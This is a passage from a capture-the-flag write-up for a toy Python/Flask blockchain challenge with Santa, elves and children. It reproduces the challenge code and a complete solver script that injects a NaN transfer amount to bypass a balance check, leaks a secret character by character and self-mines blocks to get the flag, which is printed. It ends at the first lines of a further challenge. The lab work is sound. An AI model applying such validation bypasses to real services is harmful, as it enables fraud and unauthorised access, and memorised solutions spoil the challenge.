    "model airplane",
    "rc helicopter",
    "night sky map",
    "art easel",
    "scooter",
]

children = sys.argv[1:]
if not children:
    print("Usage: children.py <name> [<name> ...]")
    sys.exit(1)

keys = {}
for name in children:
    key_path = Path("/challenge/keys") / name / "key"
    keys[name] = serialization.load_ssh_private_key(key_path.read_bytes(), password=None)

while True:
    try:
        child = random.choice(children)
        gift = random.choice(GIFTS)
        letter = f"{LETTER_HEADER}{gift}"

        letter = {
            "src": child,
            "dst": "santa",
            "type": "letter",
            "letter": letter,
            "nonce": str(uuid.uuid4()),
        }

        msg = json.dumps(letter, sort_keys=True, separators=(",", ":"))
        digest = hashlib.sha256(msg.encode()).digest()
        letter["sig"] = keys[child].sign(digest).hex()

        resp = requests.post(f"{NORTH_POOLE}/tx", json=letter)
        if resp.status_code == 200:
            print(f"[{child}] asked for '{gift}' ({letter['nonce']})")
        else:
            print(f"[{child}] request rejected: {resp.text}")
    except Exception as e:
        print(f"[{child}] error:", e)

    time.sleep(random.randint(10, 120))
Click to view elf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/local/bin/python -u
import hashlib
import json
import os
import random
import time
from pathlib import Path

import requests

NORTH_POOLE = os.environ["NORTH_POOLE"]
ELF_NAME = os.environ["ELF_NAME"]

DIFFICULTY = 16
DIFFICULTY_PREFIX = "0" * (DIFFICULTY // 4)
CHILDREN = [path.name for path in Path("/challenge/keys").iterdir()]
NICE = list()  # The nice list doesn't care about your fancy set O(1) operations


def hash_block(block: dict) -> str:
    block_str = json.dumps(block, sort_keys=True, separators=(",", ":"))
    return hashlib.sha256(block_str.encode()).hexdigest()


print(f"Elf {ELF_NAME} starting to mine for the North-Poole... difficulty={DIFFICULTY}")
while True:
    try:
        print(f"[{ELF_NAME}] mining a new block...")
        tx_resp = requests.get(f"{NORTH_POOLE}/txpool")
        tx_resp.raise_for_status()
        tx_json = tx_resp.json()
        txs = tx_json["txs"]
        head_hash = tx_json["hash"]

        head_resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": head_hash})
        head_resp.raise_for_status()
        head_json = head_resp.json()
        head_block = head_json["block"]

        children = [child for child in CHILDREN if child not in NICE]
        if random.random() >= 0.5 and children:
            nice = random.choice(children)
        else:
            nice = None

        block = {
            "index": head_block["index"] + 1,
            "prev_hash": hash_block(head_block),
            "nonce": 0,
            "txs": txs,
            "nice": nice,
        }

        nonce = 0
        while True:
            block["nonce"] = nonce
            block_hash = hash_block(block)
            if block_hash.startswith(DIFFICULTY_PREFIX):
                break
            nonce += 1

        resp = requests.post(f"{NORTH_POOLE}/block", json=block)
        if resp.status_code == 200:
            print(f"[{ELF_NAME}] mined block {block['index']} ({block_hash})")
            if nice in CHILDREN:
                NICE.append(nice)
        else:
            print(f"[{ELF_NAME}] block rejected: {resp.text}")
    except Exception as e:
        print(f"[{ELF_NAME}] exception while mining: {e}")

    time.sleep(random.randint(10, 120))
Click to view init-northpoole.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/sh
set -eu

cd /challenge

mkdir -p /challenge/keys
CHILDREN="willow hazel holly rowan laurel juniper aspen ash maple alder cedar birch elm cypress pine spruce"
for identity in santa hacker $CHILDREN; do
  mkdir -p "/challenge/keys/${identity}"
  ssh-keygen -t ed25519 -N "" -f "/challenge/keys/${identity}/key" >/dev/null
done
chown -R 1000:1000 /challenge/keys/hacker

touch /var/log/north_poole.log
chmod 600 /var/log/north_poole.log

touch /var/log/santa.log
chmod 600 /var/log/santa.log

touch /var/log/elf.log
chmod 600 /var/log/elf.log

touch /var/log/children.log
chmod 600 /var/log/children.log

./north_poole.py >> /var/log/north_poole.log 2>&1 &
sleep 2

export NORTH_POOLE=http://localhost

./santa.py >> /var/log/santa.log 2>&1 &

for name in jingle sparkle tinsel nog snowflake; do
  ELF_NAME="$name" ./elf.py >> /var/log/elf.log 2>&1 &
done

./children.py $CHILDREN >> /var/log/children.log 2>&1 &
Click to view north_poole.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
#!/usr/local/bin/python -u
import hashlib
import json
import time
import uuid
from pathlib import Path

from flask import Flask, jsonify, request
from cryptography.hazmat.primitives import serialization

app = Flask(__name__)

DIFFICULTY = 16
TX_EXPIRY_SECONDS = 60

def hash_block(block: dict) -> str:
    block_str = json.dumps(block, sort_keys=True, separators=(",", ":"))
    return hashlib.sha256(block_str.encode()).hexdigest()


genesis = {
    "index": 0,
    "prev_hash": "0" * 64,
    "nonce": "",
    "txs": [],
    "nice": None,
}

BLOCKS = {hash_block(genesis): genesis}
TXPOOL = []
IDENTITIES = {
    child_dir.name: serialization.load_ssh_public_key((child_dir / "key.pub").read_bytes())
    for child_dir in Path("/challenge/keys").iterdir()
}


def get_best_chain_block():
    best_hash = None
    best_index = -1
    for blk_hash, blk in BLOCKS.items():
        if blk["index"] > best_index:
            best_index = blk["index"]
            best_hash = blk_hash
    return best_hash


def validate_tx(tx):
    tx_type = tx.get("type")
    if tx_type not in {"letter", "gift", "transfer"}:
        raise ValueError("invalid tx type")

    for field in ("src", "dst", "type", tx_type, "nonce", "sig"):
        if field not in tx:
            raise ValueError(f"missing field {field}")

    identity = IDENTITIES.get(tx["src"])
    if not identity:
        raise ValueError("unknown src")

    if tx["dst"] not in IDENTITIES:
        raise ValueError("unknown dst")

    try:
        sig = bytes.fromhex(tx.get("sig", ""))
    except ValueError:
        raise ValueError("invalid sig encoding")

    payload = {
        "src": tx["src"],
        "dst": tx["dst"],
        "type": tx["type"],
        tx_type: tx[tx_type],
        "nonce": tx["nonce"],
    }
    msg = json.dumps(payload, sort_keys=True, separators=(",", ":"))
    digest = hashlib.sha256(msg.encode()).digest()

    try:
        identity.verify(sig, digest)
    except Exception:
        raise ValueError("invalid signature")

    if tx_type == "transfer":
        amount = tx.get("transfer")
        if not isinstance(amount, (int, float)) or amount <= 0:
            raise ValueError("invalid transfer amount")


def get_nice_balances(block):
    balances = {name: 1 for name in IDENTITIES}

    chain = [block]
    current_hash = block["prev_hash"]
    while current_hash in BLOCKS:
        blk = BLOCKS[current_hash]
        chain.append(blk)
        current_hash = blk["prev_hash"]
    chain.reverse()

    for blk in chain:
        nice_person = blk.get("nice")
        if nice_person:
            balances[nice_person] = balances.get(nice_person, 0) + 1

        for tx in blk["txs"]:
            tx_type = tx.get("type")
            src = tx.get("src")
            dst = tx.get("dst")
            if tx_type == "gift" and src == "santa":
                balances[src] = balances.get(src, 0) + 1
                balances[dst] = balances.get(dst, 0) - 1
            elif tx_type == "transfer":
                amount = tx.get("transfer", 0)
                balances[src] = balances.get(src, 0) - amount
                balances[dst] = balances.get(dst, 0) + amount

    return balances


@app.route("/block", methods=["GET", "POST"])
def block_endpoint():
    """Get a block (default: best-chain head) or submit a mined block."""
    if request.method == "GET":
        blk_hash = request.args.get("hash") or get_best_chain_block()
        blk = BLOCKS.get(blk_hash)
        if not blk:
            return jsonify({"error": "unknown block id"}), 404
        return jsonify({"hash": blk_hash, "block": blk})

    if request.method == "POST":
        block = request.get_json(force=True)
        required_block_fields = ("index", "prev_hash", "nonce", "txs", "nice")
        for field in required_block_fields:
            if field not in block:
                return jsonify({"error": f"missing field {field} in block"}), 400

        block_hash = hash_block(block)
        prev_hash = block.get("prev_hash")

        prefix_bits = len(block_hash) * 4 - len(block_hash.lstrip("0")) * 4
        if prefix_bits < DIFFICULTY:
            return jsonify({"error": "invalid proof of work"}), 400

        if prev_hash not in BLOCKS:
            return jsonify({"error": "unknown parent"}), 400

        expected_index = BLOCKS[prev_hash]["index"] + 1
        if block.get("index") != expected_index:
            return jsonify({"error": "invalid index"}), 400

        nice_person = block.get("nice")
        try:
            for tx in block["txs"]:
                validate_tx(tx)
                if tx.get("src") == nice_person:
                    return jsonify({"error": "nice person cannot be tx src"}), 400
        except ValueError as e:
            return jsonify({"error": f"{e} in block tx"}), 400

        balances = get_nice_balances(block)
        if any(balance < 0 for balance in balances.values()):
            return jsonify({"error": "negative balance"}), 400

        mined_nonces = [tx["nonce"] for tx in block["txs"]]
        if len(mined_nonces) != len(set(mined_nonces)):
            return jsonify({"error": "duplicate tx nonce in block"}), 400
        while prev_hash in BLOCKS:
            blk = BLOCKS[prev_hash]
            for tx in blk["txs"]:
                if tx.get("nonce") in mined_nonces:
                    return jsonify({"error": "duplicate tx nonce in chain"}), 400
            prev_hash = blk["prev_hash"]

        # Enforce a cap: no identity may appear as "nice" more than 10 times in the chain.
        nice_counts = {}
        current_hash = block_hash
        blk = block
        while True:
            nice_person = blk.get("nice")
            if nice_person:
                nice_counts[nice_person] = nice_counts.get(nice_person, 0) + 1
                if nice_counts[nice_person] > 10:
                    return jsonify({"error": "abuse of nice list detected"}), 400
            current_hash = blk["prev_hash"]
            if current_hash not in BLOCKS:
                break
            blk = BLOCKS[current_hash]

        BLOCKS[block_hash] = block
        return jsonify({"status": "accepted"})


@app.route("/tx", methods=["POST"])
def submit_tx():
    """Submit a transaction into the global tx pool."""
    tx = request.get_json(force=True)
    try:
        validate_tx(tx)
    except ValueError as e:
        return jsonify({"error": str(e)}), 400

    TXPOOL.append((time.time(), tx))
    return jsonify({"status": "queued"})


@app.route("/txpool", methods=["GET"])
def get_txpool():
    """Get the relevant tx pool (default: best-chain head)."""
    blk_hash = request.args.get("hash") or get_best_chain_block()

    mined_nonces = set()
    current_hash = blk_hash
    while current_hash in BLOCKS:
        blk = BLOCKS[current_hash]
        for tx in blk["txs"]:
            mined_nonces.add(tx.get("nonce"))
        current_hash = blk["prev_hash"]

    now = time.time()
    TXPOOL[:] = [
        (ts, tx) for ts, tx in TXPOOL
        if now - ts <= TX_EXPIRY_SECONDS
    ]
    fresh = [tx for _, tx in TXPOOL if tx.get("nonce") not in mined_nonces]

    return jsonify({"hash": blk_hash, "txs": fresh})


@app.route("/balances", methods=["GET"])
def get_balances():
    """Get nice/transfer balances for the chain ending at the given (or best) hash."""
    blk_hash = request.args.get("hash") or get_best_chain_block()
    blk = BLOCKS.get(blk_hash)
    if not blk:
        return jsonify({"error": "unknown block id"}), 404
    balances = get_nice_balances(blk)
    return jsonify({"hash": blk_hash, "balances": balances})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)
Click to view santa.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/local/bin/python -u
import hashlib
import json
import os
import random
import re
import time
import uuid
from pathlib import Path

import requests
from cryptography.hazmat.primitives import serialization

NORTH_POOLE = os.environ["NORTH_POOLE"]
SANTA_KEY = serialization.load_ssh_private_key(
    Path("/challenge/keys/santa/key").read_bytes(), password=None
)

GIFTS = [
    "bicycle",
    "train set",
    "drone",
    "robot kit",
    "skateboard",
    "telescope",
    "lego castle",
    "paint set",
    "guitar",
    "soccer ball",
    "puzzle box",
    "chemistry kit",
    "story book",
    "piano keyboard",
    "rollerblades",
    "coding tablet",
    "chess set",
    "binoculars",
    "science lab",
    "magic set",
    "remote car",
    "ukulele",
    "basketball",
    "hockey stick",
    "football",
    "dollhouse",
    "action figures",
    "model airplane",
    "rc helicopter",
    "night sky map",
    "art easel",
    "scooter",
]
SECRET_GIFT = os.urandom(16).hex()
FLAG_GIFT = Path("/flag").read_text()
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "

REQUIRED_CONFIRMATION_DEPTH = 5

RECENT_GIFTS_EXPIRY_SECONDS = 90
RECENT_GIFTS = {}


print("[santa] starting...")
while True:
    try:
        print("[santa] looking for new letters...")
        now = time.time()
        RECENT_GIFTS = {gift: ts for gift, ts in RECENT_GIFTS.items() if now - ts <= RECENT_GIFTS_EXPIRY_SECONDS}

        head_resp = requests.get(f"{NORTH_POOLE}/block")
        head_resp.raise_for_status()
        head_json = head_resp.json()
        head_block = head_json["block"]
        head_hash = head_json["hash"]

        chain = [head_block]
        current_hash = head_block["prev_hash"]
        while current_hash:
            current_resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
            if current_resp.status_code != 200:
                break
            current_json = current_resp.json()
            block = current_json["block"]
            chain.append(block)
            current_hash = block["prev_hash"]
        chain.reverse()

        balances_resp = requests.get(f"{NORTH_POOLE}/balances", params={"hash": head_hash})
        balances_resp.raise_for_status()
        balances_json = balances_resp.json()
        nice_balances = balances_json.get("balances", {})

        letters = {}

        # Collect letters Santa can trust (recent blocks are not yet sufficiently confirmed)
        for block in chain[:-REQUIRED_CONFIRMATION_DEPTH]:
            for tx in block["txs"]:
                if tx["type"] == "letter" and tx["dst"] == "santa" and tx["letter"].startswith(LETTER_HEADER):
                    child = tx["src"]
                    letters.setdefault(child, {})
                    letters[child][tx["nonce"]] = tx

        # Remove letters Santa already responded to with gifts
        for block in chain:
            for tx in block["txs"]:
                if tx["type"] == "gift" and tx["src"] == "santa":
                    assert tx["nonce"].endswith("-gift")
                    child = tx["dst"]
                    if child in letters:
                        letters[child].pop(tx["nonce"][:-5], None)
        for child, child_letters in letters.items():
            for nonce in list(child_letters.keys()):
                if nonce in RECENT_GIFTS:
                    child_letters.pop(nonce)

        # Santa only gives gifts to children on the nice list
        for child in list(letters.keys()):
            if nice_balances.get(child, 0) <= 0:
                letters.pop(child, None)

        letter = next((tx for child_letters in letters.values() for tx in child_letters.values()), None)
        if not letter:
            time.sleep(10)
            continue

        child = letter["src"]
        gift_value = None

        if SECRET_GIFT in letter["letter"]:
            gift_value = FLAG_GIFT

        if not gift_value and (match := re.search(r"secret index #([0-9]+)", letter["letter"])):
            index = int(match.group(1))
            if 0 <= index < len(SECRET_GIFT):
                gift_value = SECRET_GIFT[index]

        if not gift_value:
            for gift in GIFTS:
                if gift.lower() in letter["letter"].lower():
                    gift_value = gift
                    break

        if not gift_value:
            gift_value = random.choice(GIFTS)

        gift_tx = {
            "dst": child,
            "src": "santa",
            "type": "gift",
            "gift": gift_value,
            "nonce": f"{letter['nonce']}-gift",
        }
        msg = json.dumps(gift_tx, sort_keys=True, separators=(",", ":"))
        digest = hashlib.sha256(msg.encode()).digest()
        gift_tx["sig"] = SANTA_KEY.sign(digest).hex()

        RECENT_GIFTS[letter["nonce"]] = time.time()
        resp = requests.post(f"{NORTH_POOLE}/tx", json=gift_tx)
        if resp.status_code == 200:
            print(f"[santa] queued gift {gift_tx['nonce']} for {child}")
        else:
            print(f"[santa] rejected gift {gift_tx['nonce']} for {child}: {resp.text}")

    except Exception as e:
        print("[santa] error:", e)

    time.sleep(1)

and folder keys/

This is a challenge simulating a simple blockchain written in Python/Flask. The system includes:

  • north_poole.py (Server): Manages the blockchain, mempool, and validates blocks/transactions.
  • elf.py (Miners): Automated bots that mine blocks and receive rewards.
  • santa.py (Santa): An automated bot that reads letters on the blockchain and sends gifts.
  • children.py: Users who send letters requesting gifts.

In santa.py, Santa will send FLAG_GIFT if our message contains the secret string SECRET_GIFT:

1
2
3
4
5
SECRET_GIFT = os.urandom(16).hex()
FLAG_GIFT = Path("/flag").read_text()
...
if SECRET_GIFT in letter["letter"]:
    gift_value = FLAG_GIFT  

The problem is that SECRET_GIFT is randomly generated at runtime, so we can’t predict it. Also in santa.py, there’s a piece of code that allows us to ask for each character of SECRET_GIFT:

1
2
3
4
if not gift_value and (match := re.search(r"secret index #([0-9]+)", letter["letter"])):
    index = int(match.group(1))
    if 0 <= index < len(SECRET_GIFT):
        gift_value = SECRET_GIFT[index]

If you send an email with the content secret index #0, Santa will send back a gift transaction containing the zero character of the secret string. => Strategy: Send 32 requests (from index 0 to 31) to leak all SECRET_GIFT. However, there’re some constraints

  • Santa only gives gifts if our Nice balance is > 0 (nice_balances.get(child, 0) <= 0). Each time we receive a gift, our balance is reduced by 1. To have a balance, we need to be selected as a “nice person” in a block by the miner (1 point added).
  • In north_poole.py, when validating a new block:
    1
    2
    3
    4
    
      nice_counts = {}
      ...
      if nice_counts[nice_person] > 10:
          return jsonify({"error": "abuse of nice list detected"}), 400
    

an identity cannot appear more than 10 times in the entire history of the best chain. Furhtermore, to leak 32 characters, you need to receive 32 gifts, which means spending 32 NiceCoins. However, the system only allows hacker users to mine a maximum of 10 coins and Santa only reads messages that have been confirmed through 5 blocks (REQUIRED_CONFIRMATION_DEPTH = 5).

Finally, the system uses Python’s JSON library with default configuration (allowing NaN). In santa.py, the balance check condition is:

1
2
if nice_balances.get(child, 0) <= 0:
    letters.pop(child, None)

float(‘nan’) <= 0 returns False. So if we hack the balance to NaN, we will bypass this check forever (Infinite Wealth).


Exploitation

Our plan is:

  • Permanent balance hack (NaN Injection)
  • Leak Secret (Batch Transaction)
  • Get flag

Handling JSON NaN (Ignoring Strict Requests)

This is the most important function that makes the payload work. It forces Python to generate a JSON string containing NaN without reporting errors.

1
2
def to_json_str(data):
    return json.dumps(data, sort_keys=True, separators=(",", ":"), allow_nan=True)

Injection:

1
2
3
4
5
6
def step1_nan(priv):
    tx = {"src": "hacker", "dst": "hacker", "type": "transfer", 
          "transfer": float("nan"), "nonce": f"nan-{uuid.uuid4()}"}
    sign_tx(priv, tx)
    
    mine_block([tx])

Leak Secret

To retrieve the 32-character SECRET_GIFT efficiently, we use a Batching Strategy:

  • Generate 32 distinct letters, each asking for a specific index (secret index #0 to #31).
  • Instead of broadcasting these to the mempool and waiting for the automated elf to mine them (which is slow and unreliable), we bundle all 32 transactions into a single block and mine it ourselves.
  • Santa has a strict rule: REQUIRED_CONFIRMATION_DEPTH = 5. He will ignores any letters included in the top 5 blocks. To force Santa to read our mail immediately, after mining the block containing our letters, we immediately mine 6 empty blocks on top of it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def step2_leak(priv):
    # 1. Prepare 32 letters
    txs, map_nonce = [], {}
    for i in range(32):
        n = str(uuid.uuid4())
        map_nonce[n] = i
        # Construct letter requesting specific index
        tx = {"src": "hacker", "dst": "santa", "type": "letter", 
              "letter": f"{LETTER_HEADER}secret index #{i}", "nonce": n}
        sign_tx(priv, tx)
        txs.append(tx)
    
    # 2. Mine block containing all 32 letters
    mine_block(txs)
    
    # 3. Mine padding blocks to satisfy Confirmation Depth
    for i in range(CONFIRMATION_DEPTH):
        mine_block([])

While we are mining padding blocks, the elf on the server are also active. Santa might reply, and an Elf might mine a block containing Santa’s gift before we finish our padding. If we only check the mempool or the HEAD block, we might miss the gift if it was buried a few blocks deep.

To solve this, our solver implements a scan_recent_blocks function that traverses the blockchain history (checking the last 15 blocks) to ensure no gift is missed.

1
2
3
4
5
6
7
8
9
10
11
12
def scan_recent_blocks(depth=15):
    txs = []
    try:
        _, blk = get_block()
        # Traverse backwards via prev_hash
        for _ in range(depth):
            txs.extend(blk.get("txs", []))
            ph = blk.get("prev_hash")
            if not ph or ph.startswith("0"*32): break
            _, blk = get_block(ph)
    except: pass
    return txs

Get Flag

Once the 32 requests are processed, we reconstruct the SECRET_GIFT string from the gifts received. The final step is:

  • Construct a letter containing the full secret string.
  • Mine a block containing this letter.
  • Mine 6 padding blocks again to force Santa to process it.
  • Wait for the final gift transaction, which will contain the flag.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
    def step3_flag(priv, sec):
      # Construct letter with the full secret
      n = f"flag-{uuid.uuid4()}"
      tx = {"src": "hacker", "dst": "santa", "type": "letter", 
            "letter": f"{LETTER_HEADER}{sec}", "nonce": n}
      sign_tx(priv, tx)
        
      # Mine and Pad
      mine_block([tx])
      for i in range(CONFIRMATION_DEPTH):
          mine_block([])
    
      print(f"\n>>> FLAG: {tx['gift']}\n")
    
Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
import hashlib
import json
import math
import os
import sys
import time
import uuid
from pathlib import Path
import requests
from cryptography.hazmat.primitives import serialization

BASE_URL = os.environ.get("NORTH_POOLE", "http://localhost")
KEY_PATH = Path("/challenge/keys/hacker/key")
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "
DIFFICULTY = 16
DIFF_PREFIX = "0" * (DIFFICULTY // 4)
CONFIRMATION_DEPTH = 6

session = requests.Session()

def print_progress(current, total, prefix='', suffix='', length=30):
    filled = int(length * current // total)
    bar = "" * filled + "-" * (length - filled)
    percent = "{:.1f}".format(100 * (current / float(total)))
    sys.stdout.write(f'\r{prefix} |{bar}| {percent}% {suffix}')
    sys.stdout.flush()
    if current == total:
        sys.stdout.write('\n')

def log(msg):
    print(f"[*] {msg}")

def load_key():
    with open(KEY_PATH, "rb") as f:
        return serialization.load_ssh_private_key(f.read(), password=None)

def hash_block(block):
    s = json.dumps(block, sort_keys=True, separators=(",", ":"), allow_nan=True)
    return hashlib.sha256(s.encode()).hexdigest()

def get_block(h=None):
    try:
        p = {"hash": h} if h else {}
        r = session.get(f"{BASE_URL}/block", params=p, timeout=5)
        return r.json()["hash"], r.json()["block"]
    except:
        time.sleep(0.5)
        return get_block(h)
    
def to_json_str(data):
    return json.dumps(data, sort_keys=True, separators=(",", ":"), allow_nan=True)

def mine_block(txs, nice=None):
    prev_hash, prev_block = get_block()
    block = {
        "index": prev_block["index"] + 1, "prev_hash": prev_hash, 
        "nonce": 0, "txs": txs, "nice": nice
    }
    
    nonce = 0
    while True:
        block["nonce"] = nonce
        h = hash_block(block)
        if h.startswith(DIFF_PREFIX): break
        nonce += 1
    
    try:
        payload = to_json_str(block)
        headers = {"Content-Type": "application/json"}
        r = session.post(f"{BASE_URL}/block", data=payload, headers=headers, timeout=10)
        if r.status_code == 200: return h
        else: return mine_block(txs, nice)
    except: return mine_block(txs, nice)

def sign_tx(priv, tx):
    t = tx["type"]
    p = {"src": tx["src"], "dst": tx["dst"], "type": t, t: tx[t], "nonce": tx["nonce"]}
    msg = json.dumps(p, sort_keys=True, separators=(",", ":"), allow_nan=True)
    tx["sig"] = priv.sign(hashlib.sha256(msg.encode()).digest()).hex()

def scan_recent_blocks(depth=15):
    txs = []
    try:
        _, blk = get_block()
        for _ in range(depth):
            txs.extend(blk.get("txs", []))
            ph = blk.get("prev_hash")
            if not ph or ph.startswith("0"*32): break
            _, blk = get_block(ph)
    except: pass
    return txs

def step1_nan(priv):
    log("Step 1: Hack NaN Balance...")
    try:
        _, h = get_block()
        b = session.get(f"{BASE_URL}/balances", params={"hash": hash_block(h)}).json()
        if math.isnan(b["balances"].get("hacker", 0)):
            print("   -> Skip.")
            return
    except: pass

    tx = {"src": "hacker", "dst": "hacker", "type": "transfer", 
          "transfer": float("nan"), "nonce": f"nan-{uuid.uuid4()}"}
    sign_tx(priv, tx)
    mine_block([tx])
    print("   -> Done.")

def step2_leak(priv):
    log("Step 2: Leaking Secret...")
    
    txs, map_nonce = [], {}
    for i in range(32):
        n = str(uuid.uuid4())
        map_nonce[n] = i
        tx = {"src": "hacker", "dst": "santa", "type": "letter", 
              "letter": f"{LETTER_HEADER}secret index #{i}", "nonce": n}
        sign_tx(priv, tx)
        txs.append(tx)
    
    mine_block(txs)
    for i in range(CONFIRMATION_DEPTH):
        mine_block([])
        print_progress(i+1, CONFIRMATION_DEPTH, prefix="   Padding", suffix=f"Block {i+1}")

    log("Scanning...")
    chars = [None] * 32
    found = 0
    start = time.time()
    
    print_progress(0, 32, prefix="   Finding", suffix="Secret: " + "_"*32)

    while found < 32:
        if time.time() - start > 120: break
        
        # Scan
        try: pool = session.get(f"{BASE_URL}/txpool", timeout=2).json().get("txs", [])
        except: pool = []
        all_txs = pool + scan_recent_blocks(15)
        
        updated = False
        for tx in all_txs:
            if tx.get("type") == "gift" and tx.get("dst") == "hacker":
                n = tx["nonce"].replace("-gift", "")
                if n in map_nonce:
                    idx = map_nonce[n]
                    if chars[idx] is None:
                        chars[idx] = tx["gift"]
                        found += 1
                        updated = True
        
        if updated or found < 32:
            s_str = "".join([c if c else "_" for c in chars])
            print_progress(found, 32, prefix="   Finding", suffix=f"Secret: {s_str}")
        
        if found >= 32: break
        time.sleep(1)

    full = "".join(chars)
    print(f"\n   -> SECRET: {full}")
    return full

def step3_flag(priv, sec):
    log("Step 3: Get flag")
    n = f"flag-{uuid.uuid4()}"
    tx = {"src": "hacker", "dst": "santa", "type": "letter", 
          "letter": f"{LETTER_HEADER}{sec}", "nonce": n}
    sign_tx(priv, tx)
    mine_block([tx])
    
    for i in range(CONFIRMATION_DEPTH):
        mine_block([])

    tgt = f"{n}-gift"
    start = time.time()
    while time.time() - start < 60:
        pool = session.get(f"{BASE_URL}/txpool").json().get("txs", []) + scan_recent_blocks(10)
        for tx in pool:
            if tx.get("nonce") == tgt:
                print(f"\n>>> FLAG: {tx['gift']}\n")
                return
        sys.stdout.write("\r   -> Finding flag...")
        sys.stdout.flush()
        time.sleep(1)
    print("\n   -> Flag not found.")

if __name__ == "__main__":
    try:
        p = load_key()
        step1_nan(p)
        s = step2_leak(p)
        if "_" not in s: step3_flag(p, s)
        else: print("Error: Did not get full secret.")
    except Exception as e:
        print(f"Error: {e}")

Result:

Desktop View

Flag: pwn.college{sCN93bmsORhYiuM4Hhm91eEkjRT.0FNxkTMywiN1UDN0EzW}


Day07


Description

Wow, Zardus thinks he’s Santa 🎅, offering a cheerful Naughty-or-Nice checker on http://localhost/ — but in typical holiday overkill, it has been served as a full festive turducken: a bright, welcoming outer roast 🦃, a warm, well-seasoned middle stuffing 🦆, and a rich, indulgent core that ties the whole dish together 🐔. It all looks merry enough at first glance, yet the whole thing feels suspiciously overstuffed 🎁. Carve into this holiday creation and see what surprises have been tucked away at the center.


Analysis

Click to view turkey.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from flask import Flask, request, abort
import requests
import base64
import subprocess

